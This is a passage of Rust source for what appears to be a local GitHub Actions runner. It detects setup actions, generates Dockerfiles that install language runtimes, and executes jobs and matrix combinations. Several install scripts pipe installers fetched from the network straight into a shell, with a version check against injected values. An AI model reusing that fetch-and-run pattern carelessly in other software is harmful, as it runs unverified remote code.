1327 repo if repo.starts_with("aws-actions/") => "amazon/aws-cli:latest".to_string(),
1329
1330 "actions/checkout"
1332 | "actions/upload-artifact"
1333 | "actions/download-artifact"
1334 | "actions/cache" => "catthehacker/ubuntu:act-latest".to_string(),
1335
1336 _ => "node:20-slim".to_string(),
1338 }
1339}
1340
1341struct SetupRuntime {
1343 language: String,
1345 version: String,
1347 install_script: String,
1349}
1350
1351struct SetupActionDef {
1357 repos: &'static [&'static str],
1359 with_key: &'static str,
1361 default_version: &'static str,
1363 language: &'static str,
1365 version_from_ref: bool,
1368}
1369
1370const SETUP_ACTIONS: &[SetupActionDef] = &[
1371 SetupActionDef {
1372 repos: &["actions/setup-node"],
1373 with_key: "node-version",
1374 default_version: "20",
1375 language: "node",
1376 version_from_ref: false,
1377 },
1378 SetupActionDef {
1379 repos: &["shivammathur/setup-php"],
1380 with_key: "php",
1381 default_version: "8.2",
1382 language: "php",
1383 version_from_ref: false,
1384 },
1385 SetupActionDef {
1386 repos: &["actions/setup-python"],
1387 with_key: "python-version",
1388 default_version: "3.11",
1389 language: "python",
1390 version_from_ref: false,
1391 },
1392 SetupActionDef {
1393 repos: &["actions/setup-go"],
1394 with_key: "go-version",
1395 default_version: "1.21",
1396 language: "go",
1397 version_from_ref: false,
1398 },
1399 SetupActionDef {
1400 repos: &["actions/setup-java"],
1401 with_key: "java-version",
1402 default_version: "17",
1403 language: "java",
1404 version_from_ref: false,
1405 },
1406 SetupActionDef {
1407 repos: &["actions/setup-dotnet"],
1408 with_key: "dotnet-version",
1409 default_version: "7.0",
1410 language: "dotnet",
1411 version_from_ref: false,
1412 },
1413 SetupActionDef {
1414 repos: &["actions-rs/toolchain", "dtolnay/rust-toolchain"],
1415 with_key: "toolchain",
1416 default_version: "stable",
1417 language: "rust",
1418 version_from_ref: true,
1419 },
1420];
1421
1422fn is_safe_version(version: &str) -> bool {
1424 !version.is_empty()
1425 && version
1426 .chars()
1427 .all(|c| c.is_alphanumeric() || c == '.' || c == '-' || c == '_')
1428}
1429
1430fn detect_setup_runtimes(steps: &[Step]) -> Vec<SetupRuntime> {
1435 let mut runtimes: Vec<SetupRuntime> = Vec::new();
1436
1437 for step in steps {
1438 let uses = match &step.uses {
1439 Some(u) => u,
1440 None => continue,
1441 };
1442
1443 let (repo, git_ref) = match uses.split_once('@') {
1445 Some((r, v)) => (r, Some(v)),
1446 None => (uses.as_str(), None),
1447 };
1448
1449 let def = match SETUP_ACTIONS.iter().find(|d| d.repos.contains(&repo)) {
1450 Some(d) => d,
1451 None => continue,
1452 };
1453
1454 let with = step.with.as_ref();
1455 let ver = with
1456 .and_then(|w| w.get(def.with_key))
1457 .cloned()
1458 .or_else(|| {
1459 if def.version_from_ref {
1462 git_ref.filter(|r| !is_git_sha(r)).map(|r| r.to_string())
1463 } else {
1464 None
1465 }
1466 })
1467 .unwrap_or_else(|| def.default_version.to_string());
1468
1469 let ver = if ver.ends_with(".x") {
1472 ver[..ver.len() - 2].to_string()
1473 } else {
1474 ver
1475 };
1476
1477 if !is_safe_version(&ver) {
1478 wrkflw_logging::warning(&format!(
1479 "Ignoring {} with invalid version: {:?}",
1480 def.language, ver
1481 ));
1482 continue;
1483 }
1484
1485 let rt = SetupRuntime {
1486 language: def.language.to_string(),
1487 version: ver.clone(),
1488 install_script: get_install_script(def.language, &ver),
1489 };
1490
1491 let existing_idx = runtimes.iter().position(|r| r.language == rt.language);
1493 if let Some(idx) = existing_idx {
1494 runtimes[idx] = rt;
1495 } else {
1496 runtimes.push(rt);
1497 }
1498 }
1499
1500 runtimes
1501}
1502
1503fn get_install_script(language: &str, version: &str) -> String {
1505 match language {
1506 "node" => {
1507 let major = version.split('.').next().unwrap_or(version);
1509 format!(
1510 "curl -fsSL https://deb.nodesource.com/setup_{}.x | bash - && apt-get install -y nodejs",
1511 major
1512 )
1513 }
1514 "php" => {
1515 format!(
1516 "apt-get install -y software-properties-common && \
1517 add-apt-repository -y ppa:ondrej/php && apt-get update && \
1518 apt-get install -y php{ver}-cli php{ver}-mbstring php{ver}-xml php{ver}-curl unzip && \
1519 curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer",
1520 ver = version
1521 )
1522 }
1523 "python" => {
1524 format!(
1525 "apt-get install -y software-properties-common && \
1526 add-apt-repository -y ppa:deadsnakes/ppa && apt-get update && \
1527 apt-get install -y python{ver} python{ver}-venv && \
1528 ln -sf /usr/bin/python{ver} /usr/bin/python && \
1529 ln -sf /usr/bin/python{ver} /usr/bin/python3 && \
1530 curl -sS https://bootstrap.pypa.io/get-pip.py | python{ver}",
1531 ver = version
1532 )
1533 }
1534 "go" => {
1535 format!(
1536 "ARCH=$(dpkg --print-architecture || echo amd64) && \
1537 curl -fsSL https://go.dev/dl/go{}.linux-${{ARCH}}.tar.gz | tar -C /usr/local -xz && \
1538 ln -s /usr/local/go/bin/go /usr/bin/go",
1539 version
1540 )
1541 }
1542 "java" => {
1543 format!(
1544 "apt-get install -y wget apt-transport-https gpg && \
1545 wget -qO - https://packages.adoptium.net/artifactory/api/gpg/key/public | gpg --dearmor -o /usr/share/keyrings/adoptium.gpg && \
1546 echo 'deb [signed-by=/usr/share/keyrings/adoptium.gpg] https://packages.adoptium.net/artifactory/deb $(cat /etc/os-release | grep UBUNTU_CODENAME | cut -d= -f2) main' > /etc/apt/sources.list.d/adoptium.list && \
1547 apt-get update && apt-get install -y temurin-{}-jdk",
1548 version
1549 )
1550 }
1551 "dotnet" => {
1552 format!(
1553 "apt-get install -y wget && \
1554 wget https://dot.net/v1/dotnet-install.sh -O /tmp/dotnet-install.sh && \
1555 chmod +x /tmp/dotnet-install.sh && \
1556 /tmp/dotnet-install.sh --channel {} --install-dir /usr/share/dotnet && \
1557 ln -s /usr/share/dotnet/dotnet /usr/bin/dotnet",
1558 version
1559 )
1560 }
1561 "rust" => {
1562 format!(
1563 "curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y --default-toolchain {} && \
1564 . $HOME/.cargo/env && \
1565 ln -s $HOME/.cargo/bin/* /usr/local/bin/",
1566 version
1567 )
1568 }
1569 _ => String::new(),
1570 }
1571}
1572
1573fn generate_combined_dockerfile(runtimes: &[SetupRuntime], base_image: &str) -> String {
1577 let mut dockerfile = format!("FROM {}\n", base_image);
1578
1579 let scripts: Vec<&str> = runtimes
1583 .iter()
1584 .filter(|rt| !rt.install_script.is_empty())
1585 .map(|rt| rt.install_script.as_str())
1586 .collect();
1587
1588 dockerfile.push_str("RUN apt-get update && \\\n");
1589 dockerfile.push_str(
1590 " apt-get install -y --no-install-recommends curl bash git ca-certificates gnupg",
1591 );
1592
1593 for script in &scripts {
1594 dockerfile.push_str(" && \\\n");
1595 dockerfile.push_str(&format!(" {}", script));
1596 }
1597
1598 dockerfile.push_str(" && \\\n rm -rf /var/lib/apt/lists/*\n");
1599
1600 dockerfile
1601}
1602
1603fn fnv1a_hash(data: &[u8]) -> u64 {
1605 const FNV_OFFSET_BASIS: u64 = 14695981039346656037;
1606 const FNV_PRIME: u64 = 1099511628211;
1607 let mut hash = FNV_OFFSET_BASIS;
1608 for &byte in data {
1609 hash ^= byte as u64;
1610 hash = hash.wrapping_mul(FNV_PRIME);
1611 }
1612 hash
1613}
1614
1615fn combined_image_tag(runtimes: &[SetupRuntime], dockerfile: &str) -> String {
1622 let mut tag_parts: Vec<String> = runtimes
1623 .iter()
1624 .map(|r| format!("{}{}", r.language, r.version))
1625 .collect();
1626 tag_parts.sort();
1627
1628 let hash = fnv1a_hash(dockerfile.as_bytes());
1629
1630 format!(
1631 "{}{}-{:x}",
1632 COMBINED_IMAGE_PREFIX,
1633 tag_parts.join("-"),
1634 hash
1635 )
1636}
1637
1638async fn build_combined_runtime_image(
1643 runtimes: &[SetupRuntime],
1644 base_image: &str,
1645 runtime: &dyn ContainerRuntime,
1646) -> Result<String, ExecutionError> {
1647 let dockerfile = generate_combined_dockerfile(runtimes, base_image);
1648 let tag = combined_image_tag(runtimes, &dockerfile);
1649
1650 let exists = runtime.image_exists(&tag).await.map_err(|e| {
1652 ExecutionError::Runtime(format!("Failed to check for existing image: {}", e))
1653 })?;
1654 if exists {
1655 wrkflw_logging::info(&format!("Reusing existing combined runtime image: {}", tag));
1656 return Ok(tag);
1657 }
1658
1659 let temp_dir = tempfile::tempdir().map_err(|e| {
1660 ExecutionError::Execution(format!("Failed to create temp directory: {}", e))
1661 })?;
1662
1663 let dockerfile_path = temp_dir.path().join("Dockerfile");
1664 std::fs::write(&dockerfile_path, &dockerfile)
1665 .map_err(|e| ExecutionError::Execution(format!("Failed to write Dockerfile: {}", e)))?;
1666
1667 wrkflw_logging::info(&format!(
1668 "Building combined runtime image with: {}",
1669 runtimes
1670 .iter()
1671 .map(|r| r.language.as_str())
1672 .collect::<Vec<_>>()
1673 .join(", ")
1674 ));
1675
1676 runtime
1677 .build_image(&dockerfile_path, &tag, temp_dir.path())
1678 .await
1679 .map_err(|e| {
1680 ExecutionError::Runtime(format!("Failed to build combined runtime image: {}", e))
1681 })?;
1682
1683 Ok(tag)
1684}
1685
1686async fn resolve_runner_image(
1693 job: &Job,
1694 runtime: &dyn ContainerRuntime,
1695) -> Result<String, ExecutionError> {
1696 let base_image = get_effective_runner_image(job);
1697
1698 if job.container.is_some() {
1699 return Ok(base_image);
1700 }
1701
1702 let setup_runtimes = detect_setup_runtimes(&job.steps);
1703 if setup_runtimes.is_empty() {
1704 Ok(base_image)
1705 } else {
1706 build_combined_runtime_image(&setup_runtimes, &base_image, runtime).await
1709 }
1710}
1711
1712#[allow(clippy::too_many_arguments)]
1713async fn execute_job_batch(
1714 jobs: &[String],
1715 workflow: &WorkflowDefinition,
1716 runtime: &dyn ContainerRuntime,
1717 env_context: &HashMap<String, String>,
1718 user_env: &HashMap<String, String>,
1719 verbose: bool,
1720 secret_manager: Option<&SecretManager>,
1721 secret_masker: Option<&SecretMasker>,
1722 all_job_outputs: &HashMap<String, HashMap<String, String>>,
1723 all_job_results: &HashMap<String, String>,
1724 artifact_store: &crate::artifacts::ArtifactStore,
1725 cache_store: &crate::cache::CacheStore,
1726) -> Result<Vec<JobResult>, ExecutionError> {
1727 let futures = jobs.iter().map(|job_name| {
1729 execute_job_with_matrix(
1730 job_name,
1731 workflow,
1732 runtime,
1733 env_context,
1734 user_env,
1735 verbose,
1736 secret_manager,
1737 secret_masker,
1738 all_job_outputs,
1739 all_job_results,
1740 artifact_store,
1741 cache_store,
1742 )
1743 });
1744 let result_arrays = future::join_all(futures).await;
1750
1751 let mut results = Vec::new();
1753 for result_array in result_arrays {
1754 match result_array {
1755 Ok(job_results) => results.extend(job_results),
1756 Err(e) => return Err(e),
1757 }
1758 }
1759
1760 Ok(results)
1761}
1762
1763struct JobExecutionContext<'a> {
1765 job_name: &'a str,
1766 workflow: &'a WorkflowDefinition,
1767 runtime: &'a dyn ContainerRuntime,
1768 env_context: &'a HashMap<String, String>,
1769 user_env: &'a HashMap<String, String>,
1772 verbose: bool,
1773 services: JobServices<'a>,
1774}
1775
1776#[allow(clippy::too_many_arguments)]
1778async fn execute_job_with_matrix(
1779 job_name: &str,
1780 workflow: &WorkflowDefinition,
1781 runtime: &dyn ContainerRuntime,
1782 env_context: &HashMap<String, String>,
1783 user_env: &HashMap<String, String>,
1784 verbose: bool,
1785 secret_manager: Option<&SecretManager>,
1786 secret_masker: Option<&SecretMasker>,
1787 all_job_outputs: &HashMap<String, HashMap<String, String>>,
1788 all_job_results: &HashMap<String, String>,
1789 artifact_store: &crate::artifacts::ArtifactStore,
1790 cache_store: &crate::cache::CacheStore,
1791) -> Result<Vec<JobResult>, ExecutionError> {
1792 let job = workflow.jobs.get(job_name).ok_or_else(|| {
1797 ExecutionError::Execution(format!("Job '{}' not found in workflow", job_name))
1798 })?;
1799
1800 if let Some(if_condition) = &job.if_condition {
1802 let should_run = evaluate_job_condition(if_condition, env_context, user_env, workflow);
1803 if !should_run {
1804 wrkflw_logging::info(&format!(
1805 "{} Skipping job '{}' due to condition: {}",
1806 wrkflw_logging::symbols::SKIPPED,
1807 job_name,
1808 if_condition
1809 ));
1810 return Ok(vec![JobResult {
1812 name: job_name.to_string(),
1813 canonical_name: job_name.to_string(),
1814 status: JobStatus::Skipped,
1815 steps: Vec::new(),
1816 logs: String::new(),
1817 outputs: HashMap::new(),
1818 }]);
1819 }
1820 }
1821
1822 let (needs_ctx, needs_res) = build_needs_context(job, all_job_outputs, all_job_results);
1824
1825 let secrets_context: HashMap<String, String> = if let Some(secret_mgr) = secret_manager {
1827 resolve_secrets_for_context(secret_mgr, job).await
1828 } else {
1829 HashMap::new()
1830 };
1831
1832 if let Some(matrix_config) = job.matrix_config() {
1834 let combinations = wrkflw_matrix::expand_matrix(matrix_config)
1836 .map_err(|e| ExecutionError::Execution(format!("Failed to expand matrix: {}", e)))?;
1837
1838 if combinations.is_empty() {
1839 wrkflw_logging::info(&format!(
1840 "Matrix job '{}' has no valid combinations",
1841 job_name
1842 ));
1843 return Ok(Vec::new());
1845 }
1846
1847 wrkflw_logging::info(&format!(
1848 "Matrix job '{}' expanded to {} combinations",
1849 job_name,
1850 combinations.len()
1851 ));
1852
1853 let max_parallel = job.max_parallel().unwrap_or_else(|| {
1855 std::cmp::max(1, num_cpus::get())
1857 });
1858
1859 let services = JobServices {
1860 secret_manager,
1861 secret_masker,
1862 secrets_context: &secrets_context,
1863 needs_context: &needs_ctx,
1864 needs_results: &needs_res,
1865 artifact_store,
1866 cache_store,
1867 };
1868
1869 execute_matrix_combinations(MatrixExecutionContext {
1871 job_name,
1872 job_template: job,
1873 combinations: &combinations,
1874 max_parallel,
1875 fail_fast: job.fail_fast(),
1876 workflow,
1877 runtime,
1878 env_context,
1879 user_env,
1880 verbose,
1881 services,
1882 })
1883 .await
1884 } else {
1885 let services = JobServices {
1887 secret_manager,
1888 secret_masker,
1889 secrets_context: &secrets_context,
1890 needs_context: &needs_ctx,
1891 needs_results: &needs_res,
1892 artifact_store,
1893 cache_store,
1894 };
1895 let ctx = JobExecutionContext {
1896 job_name,
1897 workflow,
1898 runtime,
1899 env_context,
1900 user_env,
1901 verbose,
1902 services,
1903 };
1904 let result = execute_job(ctx).await?;
1905 Ok(vec![result])
1906 }
1907}
1908
1909#[allow(unused_variables, unused_assignments)]
1910async fn execute_job(ctx: JobExecutionContext<'_>) -> Result<JobResult, ExecutionError> {
1911 let job = ctx.workflow.jobs.get(ctx.job_name).ok_or_else(|| {
1913 ExecutionError::Execution(format!("Job '{}' not found in workflow", ctx.job_name))
1914 })?;
1915
1916 if let Some(uses) = &job.uses {
1918 return execute_reusable_workflow_job(&ctx, uses, job.with.as_ref(), job.secrets.as_ref())
1919 .await;
1920 }
1921
1922 let mut job_env = ctx.env_context.clone();
1926 let mut job_user_env = ctx.user_env.clone();
1927
1928 if let Some(ref container) = job.container {
1932 warn_unsupported_container_fields(container);
1933 for (key, value) in &container.env {
1934 if !job_env.contains_key(key) {
1935 job_env.insert(key.clone(), value.clone());
1936 job_user_env.insert(key.clone(), value.clone());
1937 }
1938 }
1939 }
1940
1941 for (key, value) in &job.env {
1943 job_env.insert(key.clone(), value.clone());
1944 job_user_env.insert(key.clone(), value.clone());
1945 }
1946
1947 environment::add_job_context(&mut job_env, ctx.job_name);
1949
1950 let job_dir = tempfile::tempdir()
1952 .map_err(|e| ExecutionError::Execution(format!("Failed to create job directory: {}", e)))?;
1953
1954 let current_dir = std::env::current_dir().map_err(|e| {
1956 ExecutionError::Execution(format!("Failed to get current directory: {}", e))
1957 })?;
1958
1959 wrkflw_logging::info(&format!("Executing job: {}", ctx.job_name));
1960
1961 let mut job_success = true;
1962
1963 let runner_image_value = resolve_runner_image(job, ctx.runtime).await?;
1966
1967 let timeout_mins = sanitize_timeout_minutes(job.timeout_minutes, 360.0);
1969 let job_timeout = std::time::Duration::from_secs_f64(timeout_mins * 60.0);
1970
1971 let mut loop_state = StepLoopState::new();
1972 let pending_cache_saves = std::sync::Mutex::new(Vec::<PendingCacheSave>::new());
1973
1974 let job_deadline = tokio::time::Instant::now() + job_timeout;
1975
1976 for (idx, step) in job.steps.iter().enumerate() {
1977 let remaining = job_deadline.saturating_duration_since(tokio::time::Instant::now());
1978
1979 let outcome = match tokio::time::timeout(
1980 remaining,
1981 run_step_with_guards(
1982 step,
1983 idx,
1984 &job_env,
1985 ctx.workflow,
1986 StepExecutionContext {
1987 step,
1988 step_idx: idx,
1989 job_env: &job_env,
1990 job_user_env: &job_user_env,
1991 working_dir: job_dir.path(),
1992 runtime: ctx.runtime,
1993 workflow: ctx.workflow,
1994 runner_image: &runner_image_value,
1995 verbose: ctx.verbose,
1996 matrix_combination: &None,
1997 container_config: job.container.as_ref(),
1998 workflow_defaults: ctx.workflow.defaults.as_ref(),
1999 job_defaults: job.defaults.as_ref(),
2000 step_outputs: &loop_state.step_outputs_map,
2001 step_statuses: &loop_state.step_status_map,
2002 job_status: &loop_state.job_status_str,
2003 services: JobServices {
2004 secret_manager: ctx.services.secret_manager,
2005 secret_masker: ctx.services.secret_masker,
2006 secrets_context: ctx.services.secrets_context,
2007 needs_context: ctx.services.needs_context,
2008 needs_results: ctx.services.needs_results,
2009 artifact_store: ctx.services.artifact_store,
2010 cache_store: ctx.services.cache_store,
2011 },
2012 pending_cache_saves: &pending_cache_saves,
2013 },
2014 ),
2015 )
2016 .await
2017 {
2018 Ok(result) => result?,
2019 Err(_) => {
2020 let msg = format!(
2021 "Job '{}' exceeded timeout of {} minutes",
2022 ctx.job_name, timeout_mins
2023 );
2024 wrkflw_logging::error(&msg);
2025 loop_state.job_logs.push_str(&format!("\n{}\n", msg));
2026 job_success = false;
2027 break;
2028 }
2029 };
2030
2031 if loop_state.process_outcome(
2032 outcome,
2033 step,
2034 ctx.verbose,
2035 &mut job_env,
2036 &mut job_user_env,
2037 ctx.services.secret_masker,
2038 ) {
2039 job_success = false;
2040 break;
2041 }
2042 }
2043
2044 if job_success {
2046 flush_pending_cache_saves(&pending_cache_saves, ctx.services.cache_store).await;
2047 }
2048
2049 let job_outputs = resolve_job_outputs(
2051 job,
2052 &loop_state.step_outputs_map,
2053 &loop_state.step_status_map,
2054 &job_env,
2055 &job_user_env,
2056 &loop_state.job_status_str,
2057 ¤t_dir,
2058 );
2059
2060 Ok(JobResult {
2061 name: ctx.job_name.to_string(),
2062 canonical_name: ctx.job_name.to_string(),
2063 status: if job_success {
2064 JobStatus::Success
2065 } else {
2066 JobStatus::Failure
2067 },
2068 steps: loop_state.step_results,
2069 logs: loop_state.job_logs,
2070 outputs: job_outputs,
2071 })
2072}
2073
2074struct MatrixExecutionContext<'a> {
2076 job_name: &'a str,
2077 job_template: &'a Job,
2078 combinations: &'a [MatrixCombination],
2079 max_parallel: usize,
2080 fail_fast: bool,
2081 workflow: &'a WorkflowDefinition,
2082 runtime: &'a dyn ContainerRuntime,
2083 env_context: &'a HashMap<String, String>,
2084 user_env: &'a HashMap<String, String>,
2086 verbose: bool,
2087 services: JobServices<'a>,
2088}
2089
2090async fn execute_matrix_combinations(
2092 ctx: MatrixExecutionContext<'_>,
2093) -> Result<Vec<JobResult>, ExecutionError> {
2094 let mut results = Vec::new();
2095 let mut any_failed = false;
2096
2097 for chunk in ctx.combinations.chunks(ctx.max_parallel) {
2099 if ctx.fail_fast && any_failed {
2101 for combination in chunk {
2103 let combination_name =
2104 wrkflw_matrix::format_combination_name(ctx.job_name, combination);
2105 results.push(JobResult {
2106 name: combination_name,
2107 canonical_name: ctx.job_name.to_string(),
2108 status: JobStatus::Skipped,
2109 steps: Vec::new(),
2110 logs: "Job skipped due to previous matrix job failure".to_string(),
2111 outputs: HashMap::new(),
2112 });
2113 }
2114 continue;
2115 }
2116
2117 let chunk_futures = chunk.iter().map(|combination| {
2119 execute_matrix_job(
2120 ctx.job_name,
2121 ctx.job_template,
2122 combination,
2123 ctx.workflow,
2124 ctx.runtime,
2125 ctx.env_context,
2126 ctx.user_env,
2127 ctx.verbose,
2128 &ctx.services,
2129 )
2130 });
2131
2132 let chunk_results = future::join_all(chunk_futures).await;
2133
2134 for result in chunk_results {
2136 match result {
2137 Ok(job_result) => {
2138 if job_result.status == JobStatus::Failure {
2139 any_failed = true;
2140 }
2141 results.push(job_result);
2142 }
2143 Err(e) => {
2144 any_failed = true;
2146 wrkflw_logging::error(&format!("Matrix job failed: {}", e));
2147
2148 if ctx.fail_fast {
2149 return Err(e);
2150 }
2151 }
2152 }
2153 }
2154 }
2155
2156 Ok(results)
2157}
2158
2159#[allow(clippy::too_many_arguments)]
2161async fn execute_matrix_job(
2162 job_name: &str,
2163 job_template: &Job,
2164 combination: &MatrixCombination,
2165 workflow: &WorkflowDefinition,
2166 runtime: &dyn ContainerRuntime,
2167 base_env_context: &HashMap<String, String>,
2168 base_user_env: &HashMap<String, String>,
2169 verbose: bool,
2170 services: &JobServices<'_>,
2171) -> Result<JobResult, ExecutionError> {
2172 let matrix_job_name = wrkflw_matrix::format_combination_name(job_name, combination);
2174
2175 wrkflw_logging::info(&format!("Executing matrix job: {}", matrix_job_name));
2176
2177 let mut job_env = base_env_context.clone();
2182 let mut job_user_env = base_user_env.clone();
2183 environment::add_matrix_context(&mut job_env, combination);
2184
2185 if let Some(ref container) = job_template.container {
2187 warn_unsupported_container_fields(container);
2188 for (key, value) in &container.env {
2189 if !job_env.contains_key(key) {
2190 job_env.insert(key.clone(), value.clone());
2191 job_user_env.insert(key.clone(), value.clone());
2192 }
2193 }
2194 }
2195
2196 {
2201 let matrix_opt = Some(combination.values.clone());
2202 let env_expr_ctx = crate::expression::ExpressionContext {
2203 env_context: &job_env,
2204 step_outputs: &HashMap::new(),
2205 matrix_combination: &matrix_opt,
2206 step_statuses: &HashMap::new(),
2207 job_status: "success",
2208 secrets_context: services.secrets_context,
2209 needs_context: services.needs_context,
2210 needs_results: services.needs_results,
2211 user_env: &job_user_env,
2212 };
2213 let cwd = std::env::current_dir().map_err(|e| {
2214 ExecutionError::Execution(format!("Failed to get current directory: {}", e))
2215 })?;
2216 let resolved_env: Vec<(String, String)> = job_template
2217 .env
2218 .iter()
2219 .map(|(key, value)| {
2220 let resolved =
2221 crate::substitution::preprocess_expressions(value, &cwd, &env_expr_ctx)
2222 .unwrap_or_else(|_| value.clone());
2223 (key.clone(), resolved)
2224 })
2225 .collect();
2226 for (key, value) in resolved_env {
2227 job_env.insert(key.clone(), value.clone());
2228 job_user_env.insert(key, value);
2229 }
2230 }
2231
2232 let job_dir = tempfile::tempdir()
2234 .map_err(|e| ExecutionError::Execution(format!("Failed to create job directory: {}", e)))?;
2235
2236 let current_dir = std::env::current_dir().map_err(|e| {
2238 ExecutionError::Execution(format!("Failed to get current directory: {}", e))
2239 })?;
2240
2241 let mut loop_state = StepLoopState::new();
2242 let pending_cache_saves = std::sync::Mutex::new(Vec::<PendingCacheSave>::new());
2243 let job_success = if job_template.steps.is_empty() {
2244 wrkflw_logging::warning(&format!("Job '{}' has no steps", matrix_job_name));
2245 true
2246 } else {
2247 let runner_image_value = resolve_runner_image(job_template, runtime).await?;
2250
2251 let mut all_steps_ok = true;
2252 let timeout_mins = sanitize_timeout_minutes(job_template.timeout_minutes, 360.0);
2253 let job_timeout = std::time::Duration::from_secs_f64(timeout_mins * 60.0);
2254 let job_deadline = tokio::time::Instant::now() + job_timeout;
2255
2256 for (idx, step) in job_template.steps.iter().enumerate() {
2257 let remaining = job_deadline.saturating_duration_since(tokio::time::Instant::now());
2258
2259 let outcome = match tokio::time::timeout(
2260 remaining,
2261 run_step_with_guards(
2262 step,
2263 idx,
2264 &job_env,
2265 workflow,
2266 StepExecutionContext {
2267 step,
2268 step_idx: idx,
2269 job_env: &job_env,
2270 job_user_env: &job_user_env,
2271 working_dir: job_dir.path(),
2272 runtime,
2273 workflow,
2274 runner_image: &runner_image_value,
2275 verbose,
2276 matrix_combination: &Some(combination.values.clone()),
2277 container_config: job_template.container.as_ref(),
2278 workflow_defaults: workflow.defaults.as_ref(),
2279 job_defaults: job_template.defaults.as_ref(),
2280 step_outputs: &loop_state.step_outputs_map,
2281 step_statuses: &loop_state.step_status_map,
2282 job_status: &loop_state.job_status_str,
2283 services: JobServices {
2284 secret_manager: services.secret_manager,
2285 secret_masker: services.secret_masker,
2286 secrets_context: services.secrets_context,
2287 needs_context: services.needs_context,
2288 needs_results: services.needs_results,
2289 artifact_store: services.artifact_store,
2290 cache_store: services.cache_store,
2291 },
2292 pending_cache_saves: &pending_cache_saves,
2293 },
2294 ),
2295 )
2296 .await
2297 {
2298 Ok(result) => result?,
2299 Err(_) => {
2300 let msg = format!(
2301 "Job '{}' exceeded timeout of {} minutes",
2302 matrix_job_name, timeout_mins
2303 );
2304 wrkflw_logging::error(&msg);
2305 loop_state.job_logs.push_str(&format!("\n{}\n", msg));
2306 all_steps_ok = false;
2307 break;
2308 }
2309 };
2310
2311 if loop_state.process_outcome(
2312 outcome,
2313 step,
2314 verbose,
2315 &mut job_env,
2316 &mut job_user_env,
2317 services.secret_masker,
2318 ) {
2319 all_steps_ok = false;
2320 break;
2321 }
2322 }
2323
2324 all_steps_ok
2325 };
2326
2327 if job_success {
2329 flush_pending_cache_saves(&pending_cache_saves, services.cache_store).await;
2330 }
2331
2332 let job_outputs = resolve_job_outputs(
2334 job_template,
2335 &loop_state.step_outputs_map,
2336 &loop_state.step_status_map,
2337 &job_env,
2338 &job_user_env,
2339 &loop_state.job_status_str,
2340 ¤t_dir,
2341 );
2342
2343 Ok(JobResult {
2345 name: matrix_job_name,
2346 canonical_name: job_name.to_string(),
2347 status: if job_success {
2348 JobStatus::Success
2349 } else {
2350 JobStatus::Failure
2351 },
2352 steps: loop_state.step_results,
2353 logs: loop_state.job_logs,
2354 outputs: job_outputs,
2355 })
2356}
2357
2358enum StepOutcome {
2360 Completed { result: StepResult, abort_job: bool },
2362 Skipped(StepResult),
2364}
2365
2366struct PendingCacheSave {
2370 key: String,
2371 path: String,
2372 workspace: std::path::PathBuf,
2373}
2374
2375pub(crate) struct JobServices<'a> {
2380 pub secret_manager: Option<&'a SecretManager>,
2382 pub secret_masker: Option<&'a SecretMasker>,
2384 pub secrets_context: &'a HashMap<String, String>,
2386 pub needs_context: &'a HashMap<String, HashMap<String, String>>,
2388 pub needs_results: &'a HashMap<String, String>,
2390 pub artifact_store: &'a crate::artifacts::ArtifactStore,
2392 pub cache_store: &'a crate::cache::CacheStore,
2394}
2395
2396async fn flush_pending_cache_saves(
2400 pending: &std::sync::Mutex<Vec<PendingCacheSave>>,
2401 cache_store: &crate::cache::CacheStore,
2402) {
2403 let saves = {
2404 let mut guard = pending.lock().unwrap_or_else(|e| e.into_inner());
2405 std::mem::take(&mut *guard)
2406 };
2407 for save in saves {
2408 match cache_store
2409 .save(&save.key, &save.path, &save.workspace)
2410 .await
2411 {
2412 Ok(()) => {
2413 wrkflw_logging::info(&format!(
2414 " Cache saved path '{}' with key '{}'",
2415 save.path, save.key
2416 ));
2417 }
2418 Err(e) => {
2419 wrkflw_logging::warning(&format!(
2420 " Failed to save cache key '{}': {}",
2421 save.key, e
2422 ));
2423 }
2424 }
2425 }
2426}
2427
2428struct StepLoopState {
2434 step_results: Vec<StepResult>,
2435 job_logs: String,
2436 step_outputs_map: HashMap<String, HashMap<String, String>>,
2437 step_status_map: HashMap<String, (String, String)>,
2438 job_status_str: String,
2439}
2440
2441impl StepLoopState {
2442 fn new() -> Self {
2443 Self {
2444 step_results: Vec::new(),
2445 job_logs: String::new(),
2446 step_outputs_map: HashMap::new(),
2447 step_status_map: HashMap::new(),
2448 job_status_str: "success".to_string(),
2449 }
2450 }
2451
2452 fn process_outcome(
2455 &mut self,
2456 outcome: StepOutcome,
2457 step: &workflow::Step,
2458 verbose: bool,
2459 job_env: &mut HashMap<String, String>,
2460 job_user_env: &mut HashMap<String, String>,
2461 secret_masker: Option<&SecretMasker>,
2462 ) -> bool {
2463 match outcome {
2464 StepOutcome::Skipped(result) => {
2465 record_step_status(
2466 step.id.as_deref(),
2467 &result,
2468 &mut self.step_status_map,
2469 &mut self.job_status_str,
2470 );
2471 self.step_results.push(result);
2472 false
2473 }
2474 StepOutcome::Completed { result, abort_job } => {
2475 record_step_status(
2476 step.id.as_deref(),
2477 &result,
2478 &mut self.step_status_map,
2479 &mut self.job_status_str,
2480 );
2481
2482 if verbose || result.status == StepStatus::Failure {
2483 self.job_logs.push_str(&format!(
2484 "\n=== Output from step '{}' ===\n{}\n=== End output ===\n\n",
2485 result.name, result.output
2486 ));
2487 } else {
2488 self.job_logs.push_str(&format!(
2489 "Step '{}' completed with status: {:?}\n",
2490 result.name, result.status
2491 ));
2492 }
2493
2494 process_workflow_commands(
2495 &result.output,
2496 step.id.as_deref(),
2497 &mut self.step_outputs_map,
2498 secret_masker,
2499 );
2500
2501 self.step_results.push(result);
2502
2503 crate::github_env_files::apply_step_environment_updates(
2504 job_env,
2505 job_user_env,
2506 &mut self.step_outputs_map,
2507 step.id.as_deref(),
2508 );
2509
2510 abort_job
2511 }
2512 }
2513 }
2514}
2515
2516fn record_step_status(
2518 step_id: Option<&str>,
2519 result: &StepResult,
2520 step_status_map: &mut HashMap<String, (String, String)>,
2521 job_status_str: &mut String,
2522) {
2523 if let Some(id) = step_id {
2524 step_status_map.insert(
2525 id.to_string(),
2526 (result.outcome.to_string(), result.conclusion.to_string()),
2527 );
2528 }
2529 if result.conclusion == StepStatus::Failure {
2530 *job_status_str = "failure".to_string();
2531 }
2532}
2533
2534fn process_workflow_commands(
2540 output: &str,
2541 step_id: Option<&str>,
2542 step_outputs_map: &mut HashMap<String, HashMap<String, String>>,
2543 secret_masker: Option<&SecretMasker>,
2544) {
